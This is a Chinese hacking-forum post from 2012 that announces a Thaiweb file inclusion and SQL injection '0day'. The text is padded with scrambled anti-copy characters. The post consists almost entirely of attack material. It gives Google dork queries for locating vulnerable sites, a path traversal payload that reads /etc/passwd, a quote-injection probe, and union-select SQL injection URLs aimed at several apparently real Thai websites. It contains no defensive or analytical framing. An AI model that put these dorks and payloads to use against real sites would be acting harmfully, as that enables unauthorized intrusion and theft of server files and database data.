找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2215|回复: 0
打印 上一主题 下一主题

Thaiweb远程文件sql注入漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:38:39 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Google之:- V6 f$ ?: h- y! ]

+ a& {) x" y; y; k, ]; ?intext:powered by Thaiweb
# @2 o1 {) G. r5 I' M* y& s" t0 C
$ C5 L' J1 Z8 ?0 ]% e. d( D0 q1 Iinurl:index.php?page=board.php- i, q6 G" G3 k. a0 ^

' g9 w: o. n4 z& x
& A- R2 a" U! d8 e* }* L. N& e, _5 a/ {
利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd
4 d/ \4 W/ E- \7 L
# @& J% d/ m& O
4 ~4 u. k; l' `9 X7 k$ M
: s- K6 \# [% H利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'0 C7 x9 Z% h" |
" q' c$ s/ r0 U
6 i; s+ n% l  E
& L4 z2 ~9 k9 l0 t; y3 G3 ?/ o
http://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--  {7 b. \* l) {  f$ i2 m$ l: T

* ^7 R2 ]% o- f2 g# Z3 Thttp://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--, p2 c, T* y6 @  D8 y" e/ B

4 ?2 b$ X2 J8 j1 Zhttp://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--. C+ F7 }, D0 v$ P5 M& W  j: l2 Z1 x/ p2 ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表